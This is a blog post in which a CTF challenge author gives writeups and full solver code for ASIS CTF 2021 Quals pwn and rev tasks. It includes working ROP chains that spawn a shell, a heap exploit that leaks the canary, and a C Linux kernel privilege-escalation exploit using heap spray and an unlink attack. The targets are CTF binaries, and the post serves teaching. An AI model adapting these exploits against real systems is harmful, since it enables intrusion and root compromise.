CTFするぞ

CTF以外のことも書くよ

ASIS CTF 2021 Quals Pwn Writeup

I wrote 4 pwn and 1 rev tasks for ASIS CTF 2021 Quals. This article covers the brief writeups of the tasks I made.

I'm very looking forward to reading your write-ups. (Exploit-only is okay too if you're busy!) This is why I often make some challenges :)

Funny Story:

Originally I was supposed to make 3 easy pwn tasks (justpwnit, abbr, strvec) and 1 hard rev task (beanstalk). 2 days before the CTF starts, however, the organizers told me that the another pwn author might not be able to finish writing his tasks. It was weekdays so I only had ~10 hours to write the new task. I managed to make one kernel pwnable "mininote" 1 day before the CTF. I hope there was no easy unintended solution :pray:

Challenge Estimated Difficulty Concept
justpwnit warmup saved rbp overwrite
abbr easy stack pivot
strvec medium integer overflow
minimemo hard unlink attack, fops overwrite
beanstalk hard data hiding, skipjack

The tasks and solvers are available here:

bitbucket.org

[pwn] Just Pwn It

The vulnerability is obviously out-of-bound write.

void set_element(char **parray) {
  int index;
  printf("Index: ");
  if (scanf("%d%*c", &index) != 1)
    exit(1);
  if (!(parray[index] = (char*)calloc(sizeof(char), STR_SIZE)))
    exit(1);
  printf("Data: ");
  if (!fgets(parray[index], STR_SIZE, stdin))
    exit(1);
}

Since you can only write the pointer to your data, overwriting the saved rbp is a good way to pwn it. Just ROP it.

from ptrlib import *

def set(index, data):
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", data)

elf = ELF("../distfiles/chall")
#sock = Process("./chall")
sock = Socket("localhost", 9001)

addr_stage2 = elf.section('.bss') + 0x800
rop_pop_rdi = 0x00401b0d
rop_pop_rsi = 0x004019a3
rop_pop_rdx = 0x00403d23
rop_pop_rax = 0x00401001
rop_pop_rbp = 0x00401123
rop_leave   = 0x0040123b
rop_syscall = 0x00403888

# ROP to win
set(-2, flat([
    0,
    rop_pop_rdx, 0x100,
    rop_pop_rsi, addr_stage2,
    rop_pop_rdi, 0,
    rop_pop_rax, SYS_read['x64'],
    rop_syscall,
    rop_pop_rbp, addr_stage2,
    rop_leave
], map=p64))
sock.send(flat([
    u64('/bin/sh\0'),
    rop_pop_rdx, 0,
    rop_pop_rsi, 0,
    rop_pop_rdi, addr_stage2,
    rop_pop_rax, SYS_execve['x64'],
    rop_syscall
], map=p64))

sock.interactive()

[pwn] Abbr

The program expands the abbreviated word in our input string. The vulnerability is heap overflow and we can overwrite a function pointer easily.

The concept of this challenge is stack pivot. This technique is very useful in exploiting real-world programs but less common in CTFs in the context of heap exploitation. Another intended solution is Call Oriented Programming but it might be harder than stack pivot because of the small binary.

You can simply use xchg esp, eax gadget because the heap address (written in eax) is 32-bit.

from ptrlib import *
import os

HOST = os.getenv("HOST", "0.0.0.0")
PORT = os.getenv("PORT", "9001")

#sock = Process("../distfiles/chall")
sock = Socket(HOST, int(PORT))

rop_xchg_esp_eax = 0x00405121
rop_pop_rdi = 0x004018da
rop_pop_rsi = 0x00404cfe
rop_pop_rdx = 0x004017df
rop_pop_rax = 0x0045a8f7
rop_syscall = 0x0041e504
rop_mov_prax20h_rsi = 0x0045d908

payload  = b'faq'*158
payload += b'AAAA'
payload += p64(rop_xchg_esp_eax)
assert len(payload) < 0x1000
assert b'\n' not in payload
sock.sendlineafter("text: ", payload)

# r8, r9, ecx, ebx
addr_binsh = 0x4cbf00
payload = flat([
    rop_pop_rsi, u64('/bin/sh\0'),
    rop_pop_rax, addr_binsh - 0x20,
    rop_mov_prax20h_rsi,
    rop_pop_rdi, addr_binsh,
    rop_pop_rdx, 0,
    rop_pop_rsi, 0,
    rop_pop_rax, 59,
    rop_syscall
], map=p64)
sock.sendlineafter("text: ", payload)

sock.sh()

[pwn] StrVec

A challenge for "I <3 Heap" guys.

The vulnerability does not lie in get/set functions but lies in vector_new.

vector *vector_new(int nmemb) {
  if (nmemb <= 0)
    return NULL;

  int size = sizeof(vector) + sizeof(void*) * nmemb;
  vector *vec = (vector*)malloc(size);
  if (!vec)
    return NULL;

  memset(vec, 0, size);
  vec->size = nmemb;

  return vec;
}

If you give nmemb a large integer, the size calculation causes integer overflow. The length of the vector is still nmemb so nmemb can be larger than the actual chunk size.

The primitives you get are basically Arbitrary Address Read and Arbitrary Address Free. My exploit works by

  1. Leak heap address
  2. Leak libc address
  3. Leak stack address
  4. Leak canary
  5. Free stack
  6. Overwrite stack and ROP

Looks like some people pwned without stack, which is much harder than abusing stack. I expected this to happen and that's why I didn't set seccomp :mercy:

R.I.P

from ptrlib import *

def vec_get(index):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter("= ", str(index))
    return sock.recvlineafter("-> ")

def vec_set(index, data):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter("= ", str(index))
    if len(data) >= 0x20:
        sock.sendafter("= ", data[:0x1f])
    else:
        sock.sendlineafter("= ", data)

libc = ELF("../distfiles/libc-2.31.so")
#sock = Process("../distfiles/chall")
sock = Socket("localhost", 9003)

# prepare
sock.sendafter("Name: ", b'naruto\0\0' + p64(0x31)[:7])
sock.sendlineafter("n = ", str((0x7fffffff // 4)+1))

# leak heap
vec_set(0, "\x00"*0x10)
vec_set(3, p64(0)*3 + p64(0x421))
addr_heap = u64(vec_get(0))
logger.info("heap = " + hex(addr_heap))

# leak libc
vec_set(1, p64(addr_heap + 0x20))
for idx in [4, 5, 6, 7, 9, 10, 11, 13, 16, 17, 18, 19,
            21, 22, 23, 24, 25, 27, 28, 29]:
    vec_set(idx, "\x00"*0x10)
vec_set(30, p64(0)*3 + p64(0x21))
vec_set(31, p64(0) + p64(0x21))
vec_set(15, "Hello") # remove fake chunk
vec_set(0, p64(addr_heap + 0x50))
libc_base = u64(vec_get(13)) - libc.main_arena() - 0x60
libc.set_base(libc_base)
logger.info("libc = " + hex(libc_base))

# stack leak
vec_set(33, p64(libc.symbol('environ')))
addr_stack = u64(vec_get(3)) - 0x118
logger.info("stack = " + hex(addr_stack))

# canary leak
vec_set(34, p64(addr_stack + 9) + p64(addr_stack) + p64(addr_heap - 0x50))
canary = u64(vec_get(19)) << 8
logger.info("canary = " + hex(canary))

# overwrite return address
vec_set(20, "akagai")
vec_set(0, p64(0)+p64(canary)+p64(0)+p64(libc_base + 0xe6c81))

# vec->size = 0
vec_set(21, "tsubugai")

# remove tcache key
vec_set(0, "mirugai")

# win
sock.sendlineafter("> ", "3")

sock.interactive()

[pwn] Mini Memo

This is the challenge I had to write in 10 hours and I didn't check/review any unintended solutions.

The vulnerability is 4 bytes heap overflow. However, the overflowed data is the ID of the note randomly generated by the kernel module.

Because I didn't have time to check the task, there must be many ways to exploit the module. However, I believe the following intended solution is the easiest one:

  1. Spray msg_msg struct
  2. Unlink attack to write &top to the message field of one of the msg_msg struct
  3. msgrcv to leak &top, with which we can calculate the base address of the kernel module
  4. msgsnd to restore and reset the link
  5. Unlink attack to write &top to fops.open - 4, which writes 0xffffffff to the open function pointer of the kernel module
  6. Call open and ret2usr
  7. Run shellcode to escalate the privilege

(You can leak the kernel base in the kernel-land shellcode.)

Exploit:

#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <string.h>
#include <sys/timerfd.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/prctl.h>
#include <string.h>

#define CMD_NEW  0x11451401
#define CMD_EDIT 0x11451402
#define CMD_DEL  0x11451403

#define SPRAY_SIZE 0x10

typedef struct {
  char data[20];
  int id;
  int size;
} request_t;

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

int fd;
int new() {
  request_t req;
  return ioctl(fd, CMD_NEW, &req);
}
int edit(long id, int size, char *data) {
  request_t req = {.size = size, .id = id};
  memcpy(req.data, data, size > 0x14 ? 0x14 : size);
  return ioctl(fd, CMD_EDIT, &req);
}
int del(long id) {
  request_t req = {.id = id};
  return ioctl(fd, CMD_DEL, &req);
}

unsigned long user_cs, user_ss, user_rsp, user_rflags;
unsigned long mbase = 0;

static void win() {
  char buf[0x100];
  puts("[+] win!");
  int flagfd = open("/root/flag.txt", O_RDONLY);
  read(flagfd, buf, 0x100);
  puts(buf);
  exit(0);
}

static void save_state() {
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "movq %%rsp, %2\n"
      "pushfq\n"
      "popq %3\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
      :
      : "memory");
}

static void restore_state() {
  asm volatile("swapgs ;"
               "movq %0, 0x20(%%rsp)\t\n"
               "movq %1, 0x18(%%rsp)\t\n"
               "movq %2, 0x10(%%rsp)\t\n"
               "movq %3, 0x08(%%rsp)\t\n"
               "movq %4, 0x00(%%rsp)\t\n"
               "iretq"
               :
               : "r"(user_ss),
                 "r"(user_rsp),
                 "r"(user_rflags),
                 "r"(user_cs), "r"(win));
}

void escalate_privilege() {
  unsigned long kbase = *(unsigned long*)(mbase + 0x2428) - 0xeae880;
  char* (*pkc)(int) = (void*)(kbase + 0x709f0);
  void (*cc)(char*) = (void*)(kbase + 0x70860);
  (*cc)((*pkc)(0));
  restore_state();
}

void trampoline() {
  void (*ep)() = (void*)(0x4013bf);
  ep();
}

int main() {
  save_state();
  printf("%p\n", escalate_privilege);

  fd = open("/dev/memo", O_RDWR);
  if (fd == -1)
    fatal("/dev/memo");

  /* Prepare shellcode */
  char *shellcode = mmap((void*)0xfffff000, 0x2000,
                         PROT_READ | PROT_WRITE | PROT_EXEC,
                         MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,
                         -1, 0);
  if ((unsigned long)shellcode != 0xfffff000)
    fatal("mmap");
  memcpy((void*)0xffffffff, trampoline, 0x1000);

  /* Heap spray */
  int qid;
  if ((qid = msgget(123, 0666|IPC_CREAT)) == -1)
    fatal("msgget");
  struct {
    long mtype;
    char mtext[0x40 - 0x30];
  } msgbuf;
  msgbuf.mtype = 1;
  memset(msgbuf.mtext, '0', sizeof(msgbuf.mtext));
  for (int i = 0; i < SPRAY_SIZE; i++) {
    if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext), 0) == -1)
      fatal("msgsnd");
  }

  char payload[0x14];
  memset(payload, 'B', 0x14);

  /* Unlink attack to leak module base */
  int id[2] = {};
  id[0] = new();
  edit(id[0], 8, "AAAAAAAA");
  do {
    del(id[1]);
    id[1] = new();
  } while((id[1] & 0xff) != 0x18); // overwrite fd with 0x18
  printf("del: %x\n", id[1]);
  edit(id[1], 0x15, payload);
  del(id[1]);

  /* Leak module base */
  for (int i = 0; i < SPRAY_SIZE; i++) {
    if (msgrcv(qid, &msgbuf, sizeof(msgbuf.mtext), 0, 0) == -1)
      fatal("msgrcv");
    unsigned long v = *(unsigned long*)&msgbuf.mtext[8];
    if (v != 0x3030303030303030)
      mbase = v - 0x2100;
  }
  if (mbase == 0) {
    puts("[-] Bad luck!");
    return 1;
  }
  printf("[+] mbase = 0x%016lx\n", mbase);

  /* Reset link */
  *(unsigned long*)&msgbuf.mtext[0] = mbase + 0x2100;
  *(unsigned long*)&msgbuf.mtext[8] = mbase + 0x2100;
  for (int i = 0; i < SPRAY_SIZE; i++) {
    if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext), 0) == -1)
      fatal("msgsnd");
  }
  del(0x10);

  /* Overwrite ioctl handler */
  id[0] = -1;
  do {
    del(id[0]);
    id[0] = new();
  } while((id[0] & 0xffff) != ((mbase + 0x204c) & 0xffff)); // overwrite fd with 0x204c
  printf("del: %x\n", id[0]);
  edit(id[0], 0x16, payload);
  del(id[0]);

  /* Win */
  int x = open("/dev/memo", O_RDWR);

  return 0;
}

[rev] Beans Talk

The original title of this challenge is "beanstalk" (botanical one) but the organizers seemed to have interpreted it as "beans talk" lol. The word "beanstalk" came from "Jack and the Beanstalk" because this program uses a modified version of "skipjack" cipher.

Anyway, the concept of this challenge is putting data into the code. There are three (looks-like) obfuscated functions: t, k, and f. Both of them just return the pointer to each static data. The source code looks like this:

uint8_t* __attribute__ ((noinline)) f() {
  uint8_t *p;
  __asm__ volatile(".intel_syntax noprefix;"
                   "xor eax, eax;"
                   ".byte 0xE8,0x30,0x00,0x00,0x00;"
                   ".byte 0x46,0x9d,0xfa,0x32,0x51,0xe2,0x65,0xf4;"
                   ".byte 0x80,0xc6,0xbe,0xb3,0xc6,0x6e,0x7e,0x3c;"
                   ".byte 0x65,0xc1,0x35,0xe0,0x11,0x19,0x0d,0x86;"
                   ".byte 0x2e,0x93,0xfe,0xea,0xd6,0x67,0xd7,0xb1;"
                   ".byte 0xcd,0xec,0x52,0xe4,0x53,0x3e,0x3b,0xe1;"
                   ".byte 0x0a,0xfd,0x50,0x7e,0xb4,0xf8,0xd0,0x43;"
                   "pop rax;"
                   "mov %0, rax;"
                   : "=r"(p)
                   :
                   : "rax");
  return p;
}

There's no obfuscation except for this trick.

The cipher used in this program is a modified version of skipjack. Compared to the original cryptosystem, the internal state is shifted and deterministic libc rand is used instead of some constant values.

You can simply write the reverse operation of this program to find the flag.

import ctypes

with open("../distfiles/beanstalk", "rb") as f:
    f.seek(0x24D8)
    table = f.read(0x100)
    f.seek(0x25FB)
    hashval = f.read(10)
    f.seek(0x262B)
    cipher = f.read(0x30)

"""
1. Calculate key by hash
The program checks the "hash" value of the license key.
This hash value is derived from the encryption table:

  _hash[i] = _table[i][0x77];

This table is generated like this:

  for (int c = 0; c < 256; c++) {
    _table[i][c] = t()[c ^ key[i]];
  }

So, we can easily find the original key, which is necessary
to decrypt the block cipher. (Modified version of skipjack)
"""
key = []
for i in range(10):
    key.append(table.index(hashval[i]) ^ 0x77)

lic = 'BEAN-{:02x}{:02x}-{:02x}{:02x}{:02x}{:02x}{:02x}-{:02x}{:02x}{:02x}'\
.format(
    key[1], key[0], key[6], key[5], key[4],
    key[3], key[2], key[9], key[8], key[7]
)
print("Key: " + str(list(map(hex, key))))
print("License: " + lic)

"""
2. Decrypt ciphertext
As we have the symmetric key, we can decrypt the ciphertext.
Basically we only need to perform the reverse operation of the
encryption function. Be aware it uses libc's rand function.
Also, the internal state (w) of the skipjack cryptosystem is shifted.
"""
libc = ctypes.CDLL("/lib/x86_64-linux-gnu/libc-2.31.so")

def decrypt(w, t):
    global cnt
    libc.srand(t[1][14] | (t[5][14]<<8) | (t[8][10]<<16) | (t[9][31]<<24))
    randlist = [libc.rand() & 0xffff for i in range(0x20)][::-1]
    cnt = 0

    def h(w, a, i, j, k, l):
        w[a] ^= t[i][w[a] >> 8]
        w[a] ^= t[j][w[a] & 0xff] << 8
        w[a] ^= t[k][w[a] >> 8]
        w[a] ^= t[l][w[a] & 0xff] << 8
    def h0(w, a): h(w, a, 0, 1, 2, 3)
    def h1(w, a): h(w, a, 4, 5, 6, 7)
    def h2(w, a): h(w, a, 8, 9, 0, 1)
    def h3(w, a): h(w, a, 2, 3, 4, 5)
    def h4(w, a): h(w, a, 6, 7, 8, 9)
    def z(w, a, b):
        global cnt
        w[a] ^= w[b] ^ randlist[cnt]
        cnt += 1

    h1(w, 0); z(w, 1, 0);
    h0(w, 1); z(w, 2, 1);
    h4(w, 2); z(w, 3, 2);
    h3(w, 3); z(w, 0, 3);
    h2(w, 0); z(w, 1, 0);
    h1(w, 1); z(w, 2, 1);
    h0(w, 2); z(w, 3, 2);
    h4(w, 3); z(w, 0, 3);

    z(w, 3, 0); h3(w, 0);
    z(w, 0, 1); h2(w, 1);
    z(w, 1, 2); h1(w, 2);
    z(w, 2, 3); h0(w, 3);
    z(w, 3, 0); h4(w, 0);
    z(w, 0, 1); h3(w, 1);
    z(w, 1, 2); h2(w, 2);
    z(w, 2, 3); h1(w, 3);

    h0(w, 0); z(w, 1, 0);
    h4(w, 1); z(w, 2, 1);
    h3(w, 2); z(w, 3, 2);
    h2(w, 3); z(w, 0, 3);
    h1(w, 0); z(w, 1, 0);
    h0(w, 1); z(w, 2, 1);
    h4(w, 2); z(w, 3, 2);
    h3(w, 3); z(w, 0, 3);

    z(w, 3, 0); h2(w, 0);
    z(w, 0, 1); h1(w, 1);
    z(w, 1, 2); h0(w, 2);
    z(w, 2, 3); h4(w, 3);
    z(w, 3, 0); h3(w, 0);
    z(w, 0, 1); h2(w, 1);
    z(w, 1, 2); h1(w, 2);
    z(w, 2, 3); h0(w, 3);

    plain = []
    for i in range(4):
        plain.append(w[i] >> 8)
        plain.append(w[i] & 0xff)
    return plain

t = [[0 for j in range(256)] for i in range(10)]
for i in range(10):
    for c in range(256):
        t[i][c] = table[c ^ key[i]]

flag = ''
for ofs in range(0, len(cipher), 8):
    blk = cipher[ofs:ofs+8]
    w = [blk[1]|(blk[0]<<8), blk[3]|(blk[2]<<8), blk[5]|(blk[4]<<8), blk[7]|(blk[6]<<8)]
    plain = decrypt(w, t)
    for c in plain:
        flag += chr(c)

print("Flag: " +flag)

I didn't expect many teams solved this so fast, including my team zer0pts :clap: